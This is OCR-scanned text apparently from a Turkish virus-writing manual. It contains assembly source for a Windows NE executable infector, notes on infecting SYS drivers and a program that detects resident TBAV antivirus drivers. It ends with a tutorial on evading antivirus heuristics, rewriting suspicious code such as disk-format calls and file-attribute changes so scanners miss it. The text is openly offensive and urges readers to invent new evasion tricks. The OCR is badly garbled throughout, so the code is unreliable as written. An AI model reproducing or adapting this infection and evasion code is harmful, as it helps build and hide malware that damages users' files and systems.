mov  word ptr ne_off,ax
mov  word ptr ne_off+2,dx

call read_file
cmp word ptr [si],'EN' 'NEW EXE mi?
jne fail exit

cmp word ptr [si+0ch],302h  ;Program/App bayrag,
-dosya paylagilamaz ve
:API kullandigindan emin olunuyor

jne fail_exit
cmp . word ptr [si+32h].4
jne [ail _exit

cmp word ptr [si+36h],802h  ;windows altinda ¢alisildigindan



-emin olunuyor

jne fail_exit

clc
ret

fail_exit:
sic

badsize:
rel
File Check  Endp

Infect File Proc Near
:Kod segment baglangict cs_scg degiskeni igerisine okunuyor

mov ax,word ptr [si+16h] ‘AX=NEWEXE CS
mov dx.oflsct cs_seg

call read_roul

cmp  word plr cs_length.code_size+100h
jb badsize

cmp bylc ptr cs_attrib.50h
jne badsize

‘Otomatik data segment adresi ds_scg igerisine ataniyor
mov ax.word ptr [si+0ch]
mov dx,oflsct ds_seg
call rcad _rout

-DS 'nin biiyiikliiginin yeterli olup olmadigindan emin olunuyor
cmp word ptr ds_length.datasize+300h
jb badsize

- Kod segmenti tizerinde konumlantliyor
mov ax,word ptr cs_oll
call Iscek _2_segment

-Kod segment okunuyor
mov dx,ofTset bufler2
mov  cx,code_size
call read 2
call Iseek _end
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-Orjinal kod segment dosyanin sonuna yaziliyor
mov dx,ofTset bufler2
mov cx,code size
call write_2

‘Otomatik data segmenti iizerinde konumlantliyor
mov ax,word ptr ds_ofT
call Iseek 2 segment

:Otomatik data segment okunuyor
mov dx,ofTset buflfer2
mov cx,datasize
call rcad 2
call Iseck _end

:Orjinal data segment dosyanin sonuna

:Orjinal kod segmentin hemen arkasina yaziliyor
mov dx,ofTsct bufler2
mov cx,dalasize
call wrile_2

-Orjinal segment 6zellikleri saklanmiyor
push ~ word ptr ¢s_attrib
pop word ptr seg_altrib

:Segment dzelliklerinden yeniden konumlanma degerleri siliniyor
and word ptr ¢s_attrib,0feffh

Yeni kod segment baglangici yaziliyor

mov ax,word ptr [si+10h] -CS'nin degeri AX igerisine aliniyor
mov  dx,ollset cs_seg
call wrile routl

‘New EXE header'inin baglangicina konumlaniliyor
xXor ax,ax
cwd
call fix file pointer

:Orjinal IP degeri saklaniyor ve scg ip degiskenine ataniyor
push  word ptr [si+14h]
pop word plr seg_ip

‘1P degeri olarak 100h ataniyor
mov word ptr [si+14h].100h



‘Yapilan diizenlemeler NE header'ina yaziliyor
call write file

‘Kod segment iizerinde konumlaniliyor
mov ax,word ptr cs_off

call Iscck_2_segment

‘Viriis kodu kod segmentine yaziliyor

push ds

push Ccs

pop ds

mov dx,100h :DS:DX viriisiin baglangici
mov  cx,code_sizc .viriisiin uzunlugu

call write_2

pop ds

:Otomatik data segmenti tizerine konumlaniliyor
mov ax.word ptr ds_off
call Iscck_2_segment

-Viriis icindeki veriler otomatik data segmentine yaziliyor
mov dx,100h
mov cx,datasize
call write 2

ret
Infect File Endp

Fix_Auto_Data Proc Near

:Otomatik data segment baglangict ds_seg degigkenine atamyor
mov ax,word ptr [si+0eh]
mov dx,oflscl ds_scg
call read_rout

:Otomatik data scgment tizerinc konumlaniliyor
mov ax,word ptr ds_olf
call Iscek_2 segment

-Otomatik data segment kendi data segmentimize okunuyor
mov dx.ofTset buller

mov cx.dalasize
call read 2



ret
Fix_Auto_Data Endp

Fix Code Scg .Proc Near
-Orjinal kod segment 6zellikleri geri yiikleniyor
push word ptr seg_attrib

pop word ptr cs_attrib

:Ozellikler kod segment baslangicina yazilivor
mov ax,word ptr [si+16h] ;ax=kod segment
call Write_Rout

:Orjinal IP geri alimyor
push word plr seg_ip
pop word pir [si+14h]

:NE header'i iizerine konumlanilivor

x0T ax. ax
cwd
call fix file_pointer

.Orjinal NE header't geri vaziliyor
call wrile_file

:Dosyanin sonuna konumlanihiyor

call Iseek end

sub ax.datasize

sbb dx,0

push ax

push dx e
call Iseck

:Orjinal data segment bufler2 igerisine okunuyor
mov dx,olfset buffer2
mov cx.datasize
call read_2

:Otomatik segment iizerine konumlanihiyor
mov ax,word ptr ds_oll
call Iseek_2_ segment



:Orjinal data segment geri yaziliyor
mov dx,offsct buffer2

nov cx.datasize
call wrile_2

pop dx

pop  ax

sub ax.code_size
sbb dx.0

push ax

push dx

call Iseek

:Orjinal kod segment buller2 igerisine okunuyor

mov dx.offsct bufler2
mov cx,code_size

call recad 2

mov ax,word ptr cs_off
call  lIseck_2_segment

:Orjinal kod segment programa geri yaziliyor
mov dx,ofIsct bufTer2

Mmov cx,code_size

call wrilc_2

pop dx

pop - ax

call Iseck

Mmov cx.,0 'xor ¢x,cx!
call wrile_2

ret

Fix Code_Seg Endp

Read_Rout Proc Ncar

push dx
dec ax :Segment baglangici - 1
mov cx.8 :Segment tablosu baslangici = 8

mul CX :Kod segmenti baglangicinin ofseti bulunuyor



add ax,word ptr [si+22h] :Segment tablosunun ofseti

adc dx.,0

call fix file_ pointer
pop dx

mov cx,8

jmp read_2
Read Rout Endp

Read File Proc Near
mov dx,offsct buffer
mov cx.40h

read 2 proc near
mov ah,3fh
int 21h
ret

read 2 endp

Read_File EndP

Wrile_ Rout  Proc Near

push  dx

dec ax :Segment baslangici - 1

mov cx,8 :Segment tablosu baglangici = 8

mul CX .Kod segmenti baslangicinin ofseti bulunuyor
add ax,word ptr [si+22h] ;:Segment tablosunun ofseti

adc dx.0

call fix_file pointer

pop dx
mov cx,8
jmp short write_2

Write Rout  Endp

Wri'le__Fi le Proc Near
mov dx,offsct buller
mov cx,40h

wrile_2 proc near
mov ah,40h
int 21h



ret
writec 2 endp
Write_File  Endp

Lseek End Proc Near
mov ax,4202h

x0T CX,CX
cwd

int 21h
ret

Lseek_End Endp

Fix_File Pointer Proc Near
add ax,word pir ne_off
adc dx,word ptr ne_off+2

jmp short Iscek
Fix_File Pointer Endp

Lseek_2_ Segment Proc Near
Mov cx,10h

mul cX

add ax,100h
adc dx,0

jmp short Iseek

Lseek 2 Segment Endp

Lseek Proc Ncar
.DX:AX iizerine konumlanihyvor
xchg cx,dx
xchg  dx,ax
mov ax,4200h
int 21h
rel
Lseck Endp

virusname db ' Virus_for Windows vi.4"

VCode End:

;Kod segmentin uzunlugu

Code_Size equ offset vcode end - 100h

Virus_Seg Ends

Data_Seg Scgment

;5-100h
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db 100h dup (0)

buffer db 40h  dup ('a") :NE header 'in okundugu degigken
:Bulagilacak windows dosyasinin kod segment baslangici

CS_seg equ §$ :140h

cs_off dw  'bb’

cs_length dw  'bb’ .142h

cs_attrib dw 'bb' .144h

cs_alloc dw bb

:Bulasilacak windows dosyasinin data segment baglangici

ds_seg equ $ -148h
ds off dw e

ds length dw 'cc' . 14ah
ds_attrib dw 'cc

ds_alloc dw ‘'cc'

dta db 30 dup ('d)
name_space db 13 dup ('d)
wildcard db "™ EXE'.0
name_space2 db 13 dup (‘e")
ne_off dd 0

seg ip dw 0

seg_attrib dw 0 :1a2h
author do 'MK92'

buffer2 db 8 dup(0) :la8h
Datasize equ offset buffer2 - 100h ;data segment uzunlugu

Data_Scg Ends

Stack_Seg  Segment Stack
db 2000h dup (0)

Stack Seg Ends
END start
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Kopya Edici
SYS dosvalar en az dnem verilen ¢galistirilabilir (executable) dosyalardir. Cok az viriis

SYS dosyaya bulasabilir, ¢linkil degisik bir yapisi vardir, SYS dosyalar ofset 0'dan
baslayan tck segmente sahiptir. Basta header kisnu vardir. Header'da yapilacak gerekli

degisikliklerle SYS dosyaya bulasilabilir.

Block (Blok) ve Character (Karakter) olmak iizere iki tip device driver vardir. Blok
device'lar orncgin siiriiciiler, sanal diskler ve wveri igeren ortamlardir. Karakter
device'lar ise printer, keyboard. modem ve ekran ,tiirii ¢evre birimlerdir. Genelde
karmasikhiii azaltmak igin karakter device tercih edilir.

Header sovledir ;

Ofset  Uzunlugu Agtklamasi

Oh Dword Pointer to next header

4h Word Attribute

6h Word Pointer to strategy routine
8h Word Pointer to interrupt routine
0Ah Qword Name of the device driver

Bir sonraki device driver header pointeri offset O'dadir. Bu far pointerdir ve
segment:offset vapisindadir. Eger SYS igindcki device tek device ise pointer
FFFF:FFFF olacakuir. Eger iki veva daha fazla (2+) device. driver varsa pointer dosya
icindcki bir sonraki header'in hashd:g: alana esittir. Segment kayd1 FFFF olarak sabit
olmalidir, Ornegin ikinci device driver ofset 300h'de ise pointer FFFF:0300h degerini
almistir. Ikinci ve diger tiim device driver'larda kendilerine ait bir header'a sahiptir.

Ofsct 4h (1 word) degier device driverin dzelliklerini (attribute) saklar. Bit 15 device
driver'in dogal -halini verir. Eger bit 15 set edilmigse bu karakter tipli siiriiciidiir,
edilmemisse block tipli siiriictidiir. Diger bitlerle ilgilenilmesi gerekli degildir.

Sonraki iki degerin anlasilmasi igin; istek hcader konusuna girmck gerekir. Istek
header' DOS'un device driver'dan isteklerini igerir. Ornegin DOS device driver'a
initialisation/read/write durumlarimi sorabilir, Device driver'in kendisinden istenenler
konusunda bilmesi gereken hersey istek hecader'inda vardir. Strategy rutini ise far
pointer, ES:BX ile gésterilir. Gorevi ise interrupt rutininin kullanacagi pointer'leri
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Ornck TBAY Antivirus'linil Tespit Eden Program

.model tiny

.code

org 100h
starl;

mov ah, 09

mov dx, offsel startimsg

inl 21h

nmov cx,0

mov dx. ofTsel tbdrvxxx
detect_loop: = Smes -- -

oV ah 09

int 21h

mov ax, 3d00h

add dx.9

int 2th

push  dx

mov  dx, ollsct not_resident

jc dont_add

add dx, (resident-not_resident)

mov bh.3ch

xchg  ax.bx

it 2ih
dont_add:

nmov ah, 09

int 21h

pop dx

add dx,9

loop detect_loop

inl 20h
startmsg . db ‘Thunderbyte Resident konlrolu.'
db - - 0dh,0ah,0dh0ah/'$. _ _ _
tbdrvxxx db "TbDriver$'
db ‘'TBDRVXXX'.0

thfilxxx db "TbFilc$', 0,0

db "TBFILXXX'.0
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(bdskxxx db 'T%Diskf.{}.ﬂ

db "TBDSKXXX'.0
tbmemxxx db "ThMem$',0.0.0

db "TBMEMXXX',0
Ibchkxxx db "TbCheck$' 0

db "TBCHKXXX".0
tblogxxx db “TbLog$'.0.0.0

db 'TBLOGXXX'.0)
not_resident db ' - Resident degil’ 0dh.0ah,'s”
resident db " - Resident..Odh.Oah'$’

END starl

Anti-Heuristic Tekni.k_leri

Icuristic Metod Nedir ?
Heuristic melod, taranan dosyanin komutlarimin bilgisavar iizerindcki galismasinin

taklil edilmesi ve incelenmesidir. Aslinda bu metod tamamen yvapay zcka algoritmalar
iceren bir metodiur. Heuristic inceleme dosya iginde viriis benzeri Ozellige sahip
kodlarnmn bulunup bulunmadima ve ne kadar bulunduguna bakar. Kontrol sonucu
aranan sckilde kodlar bulundugunda viniis veya viriis olabilir karan verilir.

Ikcuristic Tarama

Bu yazdiklarimizin sonucunda akla hemen séyle bir soru gelebilir. Viritsler normal
programiardan forkls bir yey mi yvapworlar veya komut mu kullamyoriar? Tabiki depil;
ashinda yapilan daima aym. Sadece viriisler farkedilmelerini engellemck igin yvapilan
bu iglemicri normal programlardan farkhh mctodlarla gergeklestirivorlar. Bu farkls
mejodlarda bilinen virilslerin incelenmesi sonucu belirlenmis vontemlerdir. Sunu da
hemen belirtmek  gerekir ki; bildiginiz izere viriislerin kendilerine has, diger
programlardan farkh Szellikleri de meveuttur. Ornegin normal programlarda gerck
duyulmayan, bunun yamsira diger programiann iizerine kendisini eklediginden dolayi
viriislerin ¢bzmek zorunda olduklarn DELTA OFFSET problemi veAeya header
alanlarint yeniden dizenlemck gibi problemieri vardir. {ste norinal islemler bir yana
Heuristic mctod kullanan tarayici bdyle bir kod ile karsilasuginda kontrol edilen
progranun en azindan giiphe uyandirici olduBunu tesbit edcbilmektedir. Bununia
birlikic viriisler dosya agip. tizerine bilgi yazmaktadirlar. Bu tamamen bir ¢ok viriiste
diger programlarda oldugu gibi gergeklestirilincktedir. Dolayisi ile heuristic mctod
kendi iginde Kkarar vercbilmek igin farkh islemlere karsiik gelen bayvraklar
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icermektedirler. Her heurisuc bayragin bir puam vardir. inceleme bittiginde bulunan
bayraklarin puant toplamir ;ve daha 6nceden belirlenmis simirdan fazla ise kontrol
edilen kod viriis kodudur veya viriis kodu olabilir seklinde uyart verilir,

Heuristic Temizleme
Iyi bir heuristic metod kullanan bir antiviriis program, viriisiin bulasnus oldugu bir

dosvayi inceleverek: bulasan wviriis ve bulasilan dosyvanin temiz hali hakkinda higbir
bilgive sahip olmadan dosyayt temizleyebilir. Heuristic tarayict bunu yaparken
progranmu adim adim kendi iginde ¢alistirir. Yapilan inceleme sonucu viriis tespit
edilirse, virisiin vapnus oldugu islemleri tersine ddéndiirerck virtisi ctkisiz hale
getirebilir, Tabiki beklenmedik bir problem gikmaz ise veva virlis ANTI-ITEURISTIC

tckniklerini igermivyorsa.

Giiniimiizde bircok viriis tarayict heuristic metodlar kullanmaktadir. Ornegin TBAV,
F-PROT ve AVP bu tip 6zelliklerle gelmektedir. Bu antiviriis programlar: bilinmeyen
viriisler tizerinde oldukga etkilidirler. Viriislerin bu denli yvayvginlastug: ve gelistigi bir
ortamda, imza temelli arama metodlan gegerliligini kaybetmistir. Artik antiviriis
progranu yvazan fOrmalar bilinen ve bilinmeyven viriisleri tesbit cdebilecck tarama
metodlart dizerinde yogunlagmaktadir. Konumuz olan Hcuristic mectod bu amagla

antiviriislerin kullandigi bir arama metodur.

Onemli  Not : Tabiki heuristic metodlar her yeni antiviriis versivonunda
giincellenmckte ve gelistirilmektedir. Ayrica degisik antiviriislerin icerdigi heuristic
mctodlar da farkhihk gostermekiedirler. Yani birinin tesbit cttigini bir digeri tesbit
edemeycbilir. Dolayisi ile bu kitap igerisinde verilen anti heuristic tekniklerin bir
kisminin, bir siire sonra yeni versivonlart ¢ikan antiviriis programlarinda kars: etkisiz
hale geldigini veya gelebilecegini goreccksiniz. Bizim igin énemli olan okuyuculara
bu tekniklerin oldugunu biraz olsun égretebilmektir. Ogrendikleriniz ile kendiniz daha
veni teknikler gelistirebilir ve programlarimiza dahil edebilirsiniz.

IHeuristic Metod Bayraklar

Bundan sonraki sayfalarda, antiviriislerin icerdigi heuristic metodlara karst viriislerin
kullandiklart anti heuristic (cknikler anlatulacakur. Verilecck &6rnckler gencllikle,
yavgm olarak kullanilan antiviriis programlarinin igerisinde kanimizca en ivi olduguna
imandigimz TBAV antiviriis progrannnin igerdigi Heuristic metod igin hazirlannusgtr.
Ayrica okuyucunun karsilastirma yvapabilmesi i¢in kodlarin vakalanan-yvakalanmayan
versivonlart drnck olarak verilecck ve takildig bayraklar gosterilecekltir.

A - Siipheli Ializa Ayirmak

Bugiin modern viriislerin ¢ogu hafiza igerisinde resident olarak kalmaktadir. Viriisler
hafiza igerisinde resident olarak kalacaklan vakit kendilerine gerekli hafiza alanint
isletim sisteminden istemezler (VIRUSLER ICIN RESIDENT OLMA TEKNIKLERI
bashg alunda anlaulmisur). Cilinkii bu islem normal vollardan yapildiginda viriisiin
haliza icerisindceki varhign kolavhkla tesbit edilebilecektir. Bu  wviizden wviriisler
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genellikle yer ayirma islemini illegal olarak gergeklestirilirler. TBAV igerisindcki bu
bayrak standart dist hahza ayvirma islemlerini kontrol eder. Birgok viriis standart dis

metodlarla halizada kendilerine yer avirirlar,

Ornck |;
mow BYTE PTR ds:0000_'M'
Moy cx.23h 23h * 16 = 560 byte ayrilivor
sub ds:(0012h.cx
sub ds: 0003 .cx

mov ax.ds: 0003

Ornck 2:

cmp byte ptr [0).'Z"  :MCB ile degisiklik yaparken kullanihr

Ornek 1'in verine;

mov al.'Mr’
mov BYTE PTR ds:0000,al
mov cx.23h 230 * 16 = 560 byte ayrilivor

sub ds:0012h.cx
sub ds: 0003 cx
mov ax,ds:0003

B - Baslangig noktasina diniig

Cahsurilan  programun  tckrar baslangic noktasina (entry point) geri  doniip
donmediginin kontrolii yapilir. Incelenen program igerisinde bu tip kodlar varsa bu
bayraga vakalanir. Genelde bu yontem COM dosyalara bulagmada kullanilir. Normalde
bu sonsuz dongiive sebep olur. Fakat program kendi kodlarint degistirmis isc problem
olmayacakur. Bunu genelde virisler vapmaktadirlar. Baska bir bayrak daha wvarsa

TBSCAN alarm verir.,

Orck 1
push  si :S1 stack tizerine saklamyor
cld .Direction flag't temizleniyor
add si.ofTscl start_code-ofTset virus :
mov di.,0100h
MOVSW
MoVSw
movsb
pop si ,SI stack iizerinden geri alimiyor

push 01000
rei



Ornek 2:

mov s1.0100h
push si
ret OFFFFh

Yerine:

mowv si. FEFFh

not Si -FEFFh degeri islem sonucu 01000 haline gelir
push Si :SI (0100h) register'min degeri stack iizerine saklaniyor
ret :0100h adresine geri doniiliiyor

Biraz iirctkenlik ile mov si,0100h yerine birgok sevler yazabilirsiniz

C - Dosyva Degismis mi?
Dosya iizerinde olabilecck degisiklikleri kontrol eder. Eger degisikhik kontrol degerleri
anti vir.dat dosvasina yazilmig veya degismis ise. TBAV bunu viriisiin yaptugina karar

Verir.
Bundan kurtulmanin tck volu anti vir.dat dosyasim degistirmek veya silmeklir.

¢ - Antivir.dat Dosyvasi Kontrolii
Dosyanin bulundugu dizinde anti_vir.datr dosyasi yok isc bu bayrak aktif olur. Tek

basina uyanya scbep olmaz.,

D - Dogrudan Disk Erigimi
Bu bayrak. programin baslangi¢ noktasi vakininda diske dogrudan vazima komutlart ve
benzerlerinin olup olmadigimt kontrol cder. Bayrak INT 13h istendiginde olusur.

Ornek:
mov ch.0 :ch = iz (track) veva silindir = cx

Format:
mov ah.5 -ah=lformal. al = intcrlcave

oy dh.0 ‘dh=kala
mov dl.80h dl=siiriicii 0
int 13h Tormat silindir

inc ch -silindir numarasuin arttrilmass
cmp ch.20h :20h silindir mi?
loopnz Formal :degilse dongiive devam ct.
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Yerine,;

Store_Int_13h:
les ax,ds:[13h * 4]
mov word ptr cs:[si + INT _13h - Virus],ax ; INT 13h'in adresi tablo
mov word ptr cs:[si + INT_13h - Virus + 2],es ; iizerinde bulunuyor

Moy ch,0 -ch=iz (track) veya silindir = cx

Format:
mov ah,5 :ah=format, al = intericave

mov . dh.,0 ‘dh=kafla
mov dl.80h :dl=siiriicii 0
call dword ptr cs:[si + INT_13h - Virus] ; INT 13h ¢aginhyor

inc ch -silindir numarasinin arttirilmasi
cimp ch,20h ;20N silindir mi?
loopnz Format .dcgilse dongiiye devam el.

E - Baslangic Noktasi Teshit Kontrolii

Eger program kendisinin program igindcki yerini tespit eden bir rutin ile bagliyorsa bu
bayrak isarctlenir. Viriislerin yvanst bu bayraga takilirlar. Ozellikle bu iglem viriisler
icin gercklidir. Ctinkti  bulasilan  dosvamin  uzunluguna gdre viriisiin  konumu
degiscccklir. Bu scbeple viriisler DELTA OFFSET problemini ¢dzmek zorundadirlar.

Ornek:
call Get_Start :Call komutu galistifi zaman donulccck
.adres stack Gizerine yazilhir
Gel_Start:
pop si Stack tizerine yvazilan doniis adresi Sl igerisine alimiyor
sub si,3
Yerine;

ilk komut ﬂszlgldelkiiurdcn biri olmahidir. XXXX = viriisiin baslama adresi

mov s, XXX
veya

mov bp. XXXX
veva

nmov di. X XXX
veva

Mov bx. XX XX



Peki viriisiin baglama adresini nasil bulacagiz?

Once:
mov s1.7777h

veya
mov bp.7777h

Yazp derleyin. Debugger ile bakarak vinis kodunun ilk IP (instruction pointer)
degerini not edin. ASM koduna dénerck bunu kod igine yazin. Viriis diger bir dosyaya
bulasmadan énce kendi kodu igine baglangi¢ adresini yeniden yazmahdir.

Buna Ornek; viriisii yeni dosyaya bulagtirmadan énce, COM dosyalarin sonuna ilave'
ederken;

SI = viriis baslangi¢ noktasi

mov ax,word ptr [si + fsizc - virus] ;DTA'dan dosva

:uzunlugunu alivoruz
push  ax .veni baslangig adresini saklivoruz
add . ax,100h :sifre cozucu rutine sahipseniz

:uzunlugunu burada ilave edin
mov word ptr [si + 1],ax
pop ax

EXE dosyalarin sonuna viriisii ilave ederken;
EXE header1 iistiinde oynarken: header buffer'ina veni degerleri yazmadan 6nce
agsagidakileri yapin. (viriisii yeni EXE dosyaya yazmadan oncc...)

SI = viriis baslangi¢ noktas:
DX = virisiin yeni 1P degeri

nmov word ptr [si+ Start Code - Virus + 14h].dx AP
mov word ptr [si+1].dx -virtis kodu igerisine yeni

AP degeri vazilivor
mov word ptr [si+ Start_Code - Virus + 10h].whatever :SP
mov word ptr [si+ Start_Code - Virus + 16h].cx CS
mov  word ptr [si+ Start_Code - Virus + 0Eh].ax 'S8
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Ornek 2;

Virus_Start:
Call Get_Delia

Get_Declta:

pop i

sub si, offsct Get_Declta
Yerine 1;

Virus_start.

call get delta
Get_delta:

pop bp

sub bp.get_dclta-virus_start
Yerine 2;

Alternatif olarak POP komutunu kullanmadan stack iizerinden degeri alacak bir yok
kullantlabilir. Carpe Diem ve Doom virtislerinde bu metod kullanilnusgtir,

1. Metod

Start_of _virus:
call get ollsct

Get_ofTsel:
mov - di,sp
nov bp.word ptr ss:[di]
sub bp.olTset get_olTsct
inc sp
inc sp

Stack tstiindcki ilk deper SS:[SP]'de konumlanmusur. Stack iizerinden bir word POP
oldugunda, word belirtilen register'a okunur ve SP register'ina 2 eklenir. Bu 6rnckte
ise; SP'nin degerini DI register'ina vazihiyor. SS:[DI] iizerinden deger aliniyor ve SP
register'ina 2 ckleniyor, Fakat bu viriislerden sonra TBAV bu (cknigide yakalayacak
sekilde gelistirilmigtir. Bunun tizerine Digital Pollution'da bu (cknigin daha geligmig

halt kullaniinustir,
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2. Metod
Entry_point:
mov ~ sp,102h
call Get_bp
Get_bp:

mov bp,word ptr ds:[100h]
mov sp,0fTleh
sub bp.offset Get_bp

vukaridaki drnckte daha sonradan geri viikklenccek olan dosyanin ilk 3 byte'i gegici
veri alanmi olarak kullamiliyor. Bu 3 byte icerisine SP yazihyor (olTsct CS:0100h).
Get_bp cagirildiginda; IP degeri ofsct 0100h adresine konumlaniyor. Bir sonraki
adimda deger alimyor ve SP'e OFFEEh degeri atamyor (OFFEEh - SP registerinin

deflault degeri).

F - Siipheli Dosya Erigimi
Bulagma rutinlerinc benzer diger dosyalar iistiinde oynama vapan rutinler bulunduysa
bu bayrak aktif hale getirilir. Dosya viriislerinin gogu bu bayraga takilirlar.

Ornek 1:

-bulastlan dosyanin orjinal saat ve tarih bilgilerinin yerine kaydedilinesi
Mmov ax,5701h

mov dx,word ptr [si + offsct [_date - offset virus]

mov cx.word ptr [si + offset [_time - offset virus]

int 21h

.orjinal dosya ozclliklerinin yerine kaydedilmesi

lca dx.[si + Mmame - oflsct virus] :dosva isminin alinmast

nmov cx,[si + altr - offsct virus] .orjinal dosya ozclliklerinin
-alinmasi

Mov ax.4301h

int 21h

Yerine:

-bulastlan dosyanin orjinal saat ve tarih bilgilerinin yerine kaydedilmesi
mov ax.0A8FEQ

mov dx.word ptr |si + F_Dale - offset Virus]

mov cx.word ptr [si + F_Time - offsct Virus]

not ax -islem gergeklestirginde ABFE degeri 5701 olur

int 21h



-orjinal dosya ézclliklerinin yerine kaydedilmesi

lea
mov

Mmov
not
int

Ornek 2:

Wrile_Virus:
mov
Imoy
lea
int

Yerine;

mowv
sub

veya

mov
add

dx.[si + offsct FName - offset Virus] :dosyva isminin alinmasi
cx.|si + offset Attr - offset Virus]  ;orjinal dosva ézclliklerinin

-alinmasi
ax.O0BCFEh
ax -islem gergeklestiginde BCFE degeri 4301 olur
21h
ah.40h . yazma islemi
cx, virus_cnd - virus_start . vazilacak kodun uzunlugu
dx. |[bp+virus_start] . viriis_start'tan itibaren
21h
ah.41h
ah.1h
ah.30h

ah.10h
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Yazilmast veterlidir. Heuristic tarayict bu kodu analiz ederken mov afi,41h ve INT 21h
interrupt'im gordiigiinden (41h/int2 1h=dosya silme interrupt't) bir dosyvax1 silinccegini
zannctmektedir. Dolavist ile bavraga vakalanmilmamaktadir. Bu kod ile viriis heuristic

taravict tarafindan tespil cdilemez.

G - Gereksiz komutlar
Hecuristic tarayici kontrol cttigi dosva igerisinde sadece sifreleme gibi iglemlerde
kullanilacak sekilde komut veva komut gruplart buldugunda bu bayrak aktif hale gelir.

Ornek:

add
add
add
nop
nop
add
add
nop

ax, 34
5i.23
di, 34

ax.34
di. 34



nop

nop
add ax,34
add bx,34
add cx,35
add dx.45

h - Gizli veya Sistem Dosyasi

Kontrol edilen dosya HIDDEN veya SYSTEM seklinde dosya 6zclliklerine sahip mi?
Eger bu dosvayt bilmiyorsamz bir trojan ati veya viriis olabilir. Ornegin golge
(companian) viriisleri bulasilacak dosyalar ile aym isimde hidden/system dosya
olusturdugundan bu bayraga yakalamir. Aym isimde EXE/COM olarak 2 degisik dosya
varsa ve oncelikli olan hidden/system &zellikli dosya ise ihtimal dahada biiyiir. Boyle

durumlarda bu bayrak aktif hale gelir.

i - Internal Overlay Dosya Kontrolii
inceleifen EXE dosvada internal overlay bu bayrak vasitasi ile kontrol edilir. TBAV

her cahismada EXE'min gereek uzunlugunu hesaplar ve fiziksel uzunlugu ile
karstlastirir, Caginct (Load) modiiliin uzunlugu MZ'den sonra gelen 4 byte
kullanilarak hesaplanir,

4D 5A 00 00 00 00

O I NS AN ---- Invert word, | ¢ikartin ve 512 ile ¢arpin
M Z AN ---= Invert word, tustieki degere ilave edin

Internal overlay igeren dosyalara nornal yollaradan bulasgilamaz, bu yiizden bu tip
EXE'lcri tespit edip bulasmamak en iyisidir. _,

J - Siipheli JUMP Komutlan
Analiz edilen program baslangicinda bir JUMP komutu ile sonlarda bir yere dallanma

gerceklestirivorsa ve uzun miiddel basa donmedi ise bu bayrak aktif hale gelir. Ciinki
viriis kendisini COM dosyanin sonuna ilave etmis ise dosyanin basina bir JMP komutu

koymak zorundadir.
Ornek;
jmp To_Virus

:bulasilan programin asil kodu

To Virus: virtisiin baslangi¢ noktasi
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K - Olafandisi Stack
Programn analizinde siipheli stack segmentinin bulunup bulunmadigin kontrol cder.

Birgok viriis normal digi stack degeri kaydeder. Eger stack ofset degeri TEK sayi isc
béyle durumlarda bu bayrak isaretlenir. Ciinki bilinen higbir derleyici TEK sayt olacak

sckilde stack ofset deferi iirctmez.

G2 ve PS-MPC viriis iircticilerinin tircttigt viriisler STACK Pointer'tim bulagma tanima
degeri seklinde kullanir.

L - Program Cagirma Interrupt’s Kontroli
Program cagirma (load) interrupt'ina takilma var n1? Genelde birgok resident viriis bu
sckilde bulagmaktadir. Bu interrupt kullamildiginda bu bayvraga vakalanma ihtimali

vardir.

Ornck;
:biitiin register degerleri saklandi
pushf - :Mag dcgeri saklamyor
push  c¢s
pop cs ES=CS
cmp ah,4Bh :program ¢agirma ve ¢alistirma interrupt’
je Exe_Trap .csitse JUMP
Yerine;

biitiin register degerleri saklandi

pushf flag degeri saklaniyor

push CS

pop es JER=C5

not ah

cmp ah,0B4h ;AH 'in degerinin 4Bh olup olimadigina bakiliyor
not ah .degilse eski haline getirilivor

je Kill .esitse JUMP

daha bir¢ok sckilde bu bayraktan kurtulmak miimkiindiir.

M - Resident Program Kodu Kontrolu
Kontrol edilen progranun resident kod igerip i¢ermediginin kontrolii vapilir.



Ornek:

mov ax.2521h  .DOS servisi ah=25h
mov dx.ofTsct somewherc
int 21h .interrept 21h adresi vektor tablosunda

.degistirilivor DS:DX

Yukandaki érnegin verine geccbilecck kod vazmak goérdiigiiniiz tizere gercksizdir,
Bundan bircok farkhi volla kurtulabilirsiniz. Vek(or tablosu iizcrindeki degerleri .
dogrudan degistirin veyva orjinal INT 21h'in adresini bularak bu adrese CALL FAR

PTR vapmn.

N - Yanhys Dosva Eki

EXE ckine sahip dosvalar COM dosva vapisina veva COM ckine sahip dosvalar EXE
header'ina sahip isc bu bayvrak isarctienir. Birgok eski viriis EXE ile COM dosyalari
avirt edemez ve bu bayraga takihir. Ayrnica overwriting viriisler EXE  dosvaya
bulastifinda genelde onun  header'inn siler, Orneggin DOS 5.0 versivonundaki
DISK.COM progranu EXE header'ina sahiplir.

O - Kod Uzerine Yazma
Efcer program kendi kodlarmin dstiine vazma islemi gergeklestirivorsa bu bavrak
Isarctlcnir,

Ornek:

mov di.0100h
push i

MOVSW
INOVSW :DS:SI adresinde ES:DI adresine 4 bvie tasimivor
rel .astl programa doniiliivor

Burada RET komutu ayrica R bayragin aktif olmasina scbep olmaktadir.

Yering:
cld
mov di.0200h  :DI= 200h
sub di.0100h  :DI'nin degerinden 01000 ¢ikarivoruz ve
.sonuc DI=0100h
push  di

MMOVSWY
INOVSWY :DS:SI adresinde ES:DI adresine 4 byte tasinivor

ret .astl programa doniiliivor
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Yukandaki ornckte O bavragr halledilmis ctkisiz hale gelir. Fakat halen R bayragi
aktiftir. Avrica giintimiizde vazlan viriislerin hemen hemen hepsi kendi kodlarin
silrclemckiedir. Birgok viriis sifrc ve desifre iglemini orjinal kod iizerinde yapmaktadir.
Genelde desifreleme rutinleri bu sckilde ¢ahsir. Yapilan sifre ve desifre islemide

bayragi aktif hale getirebilir.

p - Paketlenmis veya Sikastirilnug Dosya

Dosya pakctlenmis veya sikistinnlnms isc bu bavrak isarctlenir. Sikistirma islemini
vapan birgok program vardir. LZEXE veya PKLITE gibi. Eger Dosva viriis bulastiktan
sonra sifrelenmis isc viriis bulunamaz (vada ¢cok zordur).

Bundan pck bilinmeyen bir sikigtirma progranu kullandigimzda veva kendiniz bir tane
yvazdigmzda biiyiik ihtimal ile kurtulabilirsiniz. Avrica her sikistirma progranu kendi
imzasim dosyaya ilave cder. Eger bu imzayt tespit edip silerseniz antiviriis programlar
biiyiik cogunlukia bunu normal dosya kabul eder. Ayrica birgok sikistirma programu ile
tist {isie sikistirmakita degisik metodiur.

R - Siipheli Yeniden Konumlandirma (Relocator)

Relocator CS:IP dcgeri tstiinde degisiklik yapan kod grubudur. Bulasma isleminden
sonra CS:IP degerlerinin yeniden avarlanmast zorunludur., Ciinkii calisurilabilir
